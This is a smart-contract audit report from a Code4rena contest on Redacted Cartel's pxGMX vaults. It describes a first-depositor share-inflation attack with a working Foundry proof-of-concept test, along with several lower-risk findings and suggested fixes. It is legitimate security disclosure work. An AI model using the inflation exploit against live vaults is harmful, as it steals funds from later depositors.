Redacted Cartel contest - joestakey's results

Lines of code

https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGmx.sol#L397

Vulnerability details

An early minter can break the AutoPxGmx apxGMX price, resulting in future depositors losing GMX upon withdrawal.

Impact

Medium

Proof Of Concept

AutoPxGmx is a pxGMX auto-compounding vault, allowing users to deposit GMX and pxGMX to compound pxGMX rewards into more pxGMX.

Users can deposit GMX by calling depositGmx(). The function computes the amount of apxGMX to be minted, and converts the GMX into pxGMX

394: if (
395:             (shares = supply == 0
396:                 ? assets
397:                 : assets.mulDivDown(supply, totalAssets() - assets)) == 0
398:         ) revert ZeroShares();

The issue is that because of how the apxGMX amount is computed, an early minter can inflate the share price and steal pxGMX from future depositors:

• Alice calls autoPxGmx.depositGmx(1, Alice), depositing 1 unit of GMX. She receives 1 apxGMX.
• Alice transfers 1e18 - 1 pxGMX to the vault using the ERC20.transfer() method.
• Bob calls autoPxGmx.depositGmx(1.99999999e18, Bob).
• Because of Alice's transfer, pxGMX.balanceOf(autoPxGmx) = 1e18. So shares = 1 * 1.9999 e18 / 1e18 rounds to 1: Bob receives 1 apxGMX: the same amount as Alice.
• Alice calls autoPxGmx.redeem(1, Alice, Alice); to redeem her apxGMX: because she owns half of the apxGMX, she will receive ~1.5 * 1e18 pxGMX, effectively stealing approximately 0.5 * 1e18 pxGMX from Bob.

Add this test to AutoPxGmx.t.sol, recreating the steps described above:

function testBreakDepositGmx() external {
    address Alice = address(99);
    address Bob = address(100);
    uint256 amountAlice = 1e18 - 1;
    uint256 amountBob = 1.99999999e18;

    uint256 amount = 1e18;
    address receiver = address(this);
    uint256 depositFee = 10000;

    pirexGmx.setFee(PirexGmx.Fees.Deposit, depositFee);


    // @audit-Alice deposits 1 GMX in the autoPxGmx vault
    _mintApproveGmx(1, Alice, address(autoPxGmx), 1);
    vm.prank(Alice);
    autoPxGmx.depositGmx(1, Alice);

    assertTrue(1 == autoPxGmx.totalAssets());
    assertTrue(1 == autoPxGmx.totalSupply());
    // @audit-Alice received 1 share
    assertEq(1, autoPxGmx.balanceOf(Alice));

    // @audit-Alice deposits 1e18 - 1 pxGMX in the autoPxGmx vault
    _mintApproveGmx(amountAlice, Alice, address(pirexGmx), amountAlice);
    vm.prank(Alice);
    (,uint256 pxGMXAlice,) = pirexGmx.depositGmx(amountAlice, Alice);
    vm.prank(Alice);
    pxGmx.transfer(address(autoPxGmx), pxGMXAlice);

    // @audit-Bob deposits 1.999999e18 GMX in the autoPxGmx vault
    _mintApproveGmx(amountBob, Bob, address(autoPxGmx), amountBob);
    vm.prank(Bob);
    autoPxGmx.depositGmx(amountBob, Bob);
    
    // @audit-Bob only received 1 share
    assertEq(1, autoPxGmx.balanceOf(Bob));

    vm.prank(Alice);
    autoPxGmx.redeem(1, Alice, Alice);
    // @audit-Alice received 1.5e18 pxGmx, effectively stole ~0.5e18 pxGMX from Bob
    assertApproxEqAbs(pxGmx.balanceOf(Alice), 1.5e18, 1e17);

Tools Used

Manual Analysis, Foundry

Mitigation

Consider sending the first 1000 apxGMX to the address 0, a mitigation used in Uniswap V2.

Judge has assessed an item in Issue #251 as M risk. The relevant finding follows:

AutoPxGlp.setPlatform and AutoPxGmx.setPlatform break the vaults functionalities. Looking at AutoPxGlp.setPlatform: this admin setter allows the owner to change the pirexGmx address in AutoPxGlp. The issue is that it does not call gmxBaseReward.safeApprove(platform, type(uin256).max).

This means that users will not be able to call depositFsGlp() anymore, as it calls beforeDeposit(), which calls compound(), where a platform.depositGlp() call is made:

238: if (gmxBaseRewardAmountIn != 0) { 239: // Deposit received rewards for pxGLP 240: (, pxGlpAmountOut, ) = PirexGmx(platform).depositGlp( 241: address(gmxBaseReward), 242: gmxBaseRewardAmountIn, 243: minUsdg, 244: minGlp, 245: address(this) 246: ); 247: } This external call will revert here as the platform's gmxBaseReward allowance is 0.

Users will not only lose the ability to deposit GLP into the contracts, they also will not be able to call withdraw or redeem as both these functions call compound(): meaning they will not be able to retrieve their pxGLP.

Note that while centralization issues are mentioned in the README:

we also believe that certain privileges need to be retained by our team in order to safeguard user funds and maintain the protocol's continued operations In this case, the issue is not that this function can be used in a way to grieve users, but that it by design simply breaks the entire autoPxGlp functionality: There is no way to call gmxBaseReward.safeApprove() on a new platform.

The exact same issue happens in autoPxGmx with setPlatform, causing the compound() call to revert here.

You should add:

gmxBaseReward.safeApprove(platform, type(uin256).max) in AutoPxGlp.setPlatform. gmx.safeApprove(platform, type(uin256).max) in AutoPxGmx.setPlatform.

Summary

Low Risk

Non-critical

Low

[L‑01] Wrong comment

86:         // Approve the Uniswap V3 router to manage our base reward (inbound swap token) @audit - this approves `pirexGMX`, not the router.
87:         gmxBaseReward.safeApprove(address(_platform), type(uint256).max);

https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGlp.sol#L86

[L‑02] AutoPxGlp.setPlatform and AutoPxGmx.setPlatform break the vaults functionalities.

Looking at AutoPxGlp.setPlatform: this admin setter allows the owner to change the pirexGmx address in AutoPxGlp. The issue is that it does not call gmxBaseReward.safeApprove(platform, type(uin256).max).

This means that users will not be able to call depositFsGlp() anymore, as it calls beforeDeposit(), which calls compound(), where a platform.depositGlp() call is made:

238:         if (gmxBaseRewardAmountIn != 0) {
239:             // Deposit received rewards for pxGLP
240:             (, pxGlpAmountOut, ) = PirexGmx(platform).depositGlp(
241:                 address(gmxBaseReward),
242:                 gmxBaseRewardAmountIn,
243:                 minUsdg,
244:                 minGlp,
245:                 address(this)
246:             );
247:         }

This external call will revert here as the platform's gmxBaseReward allowance is 0.

Users will not only lose the ability to deposit GLP into the contracts, they also will not be able to call withdraw or redeem as both these functions call compound(): meaning they will not be able to retrieve their pxGLP.

Note that while centralization issues are mentioned in the README:

we also believe that certain privileges need to be retained by our team in order to safeguard user funds and maintain the protocol's continued operations 

In this case, the issue is not that this function can be used in a way to grieve users, but that it by design simply breaks the entire autoPxGlp functionality: There is no way to call gmxBaseReward.safeApprove() on a new platform.

The exact same issue happens in autoPxGmx with setPlatform, causing the compound() call to revert here.

You should add:

• gmxBaseReward.safeApprove(platform, type(uin256).max) in AutoPxGlp.setPlatform.
• gmx.safeApprove(platform, type(uin256).max) in AutoPxGmx.setPlatform.

[L‑03] Anyone can claim rewards with PirexRewards.claim() on behalf on anyone

https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/PirexRewards.sol#L373 The PirexRewards.claim() function allows claiming the tokens of other users. While the tokens are sent to the correct address, this can lead to issues with smart contracts that might rely on claiming the tokens themselves.

If the contract has no other functions to transfer out funds, they may be locked forever in this contract.

Consider changing the function so that it claims for msg.sender.

The vaults AutoPxGlp and autoPxGmx will still work after that change, as they both do calls to PirexRewards(rewardsModule).claim() with user = address(this)

[L‑04] Use custom errors to make error handling easier

When withdrawing pxGMX in AutoPxGmx, in case the caller has been approved by the apxGmx owner, shares is subtracted from the caller's allowance.

325:         if (msg.sender != owner) {
326:             uint256 allowed = allowance[owner][msg.sender]; // Saves gas for limited approvals.
327: 
328:             if (allowed != type(uint256).max)
329:                 allowance[owner][msg.sender] = allowed - shares;
330:         }

The issue is that this will revert with an underflow error if shares is too high.

This might be confusing for the caller, especially in withdraw(), as shares is computed by the smart contract, and the user might expect the assets amount specified to correspond to a number of shares within their allowance.

Use a custom error to make error handling easier for users:

328:             if (allowed != type(uint256).max)
+                     if(allowed < shares) revert NotEnoughAllowance();
329:                 allowance[owner][msg.sender] = allowed - shares;
330:         }

[L‑05] Use require instead of assert

As per Solidity's documentation:

Assert should only be used to test for internal errors, and to check invariants. Properly functioning code should never create a Panic, not even on invalid external input

Change the following check in PirexGmx:

223:         postFeeAmount = assets - feeAmount;
224: 
-225:         assert(feeAmount + postFeeAmount == assets);
+225:         require(feeAmount + postFeeAmount == assets);

[L‑06] claimUserReward should not emit events if no rewards have been claimed

PirexRewards.claim loops through the reward tokens and calls PirexGmx.claimUserReward to transfer the specified reward token to the receiver.

PirexGmx.claimUserReward emits a ClaimUserReward() event at the end of the call. But the issue is that this event is emitted regardless of what happened beforehand.

If the token is neither pxGmx not WETH (ie gmxBaseReward), the call will skip the reward claiming, but still emit the event.

Now, this is not a problem if the only reward tokens the contract will ever handle are pxGmx and gmxBaseReward. You can then add a check in PirexRewards.claim to skip the current iteration if token != pxGmx && token != gmxBaseReward.

Non-critical

[N‑01] Contract implements interface without extending the interface

Not extending the interface may lead to the wrong function signature being used, leading to unexpected behavior. If the interface is in fact being implemented, use the override keyword to indicate that fact

2 instances:

/// @audit IPirexRewards()
15:  contract PirexRewards is OwnableUpgradeable {

https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/PirexRewards.sol#L15

/// @audit IAutoPxGlp()
15:  contract AutoPxGlp is PirexERC4626, PxGmxReward, ReentrancyGuard {

https://github.com/code-423n4/2022-11-redactedcartel/blob/03b71a8d395c02324cb9fdaf92401357da5b19d1/src/vaults/AutoPxGlp.sol#L14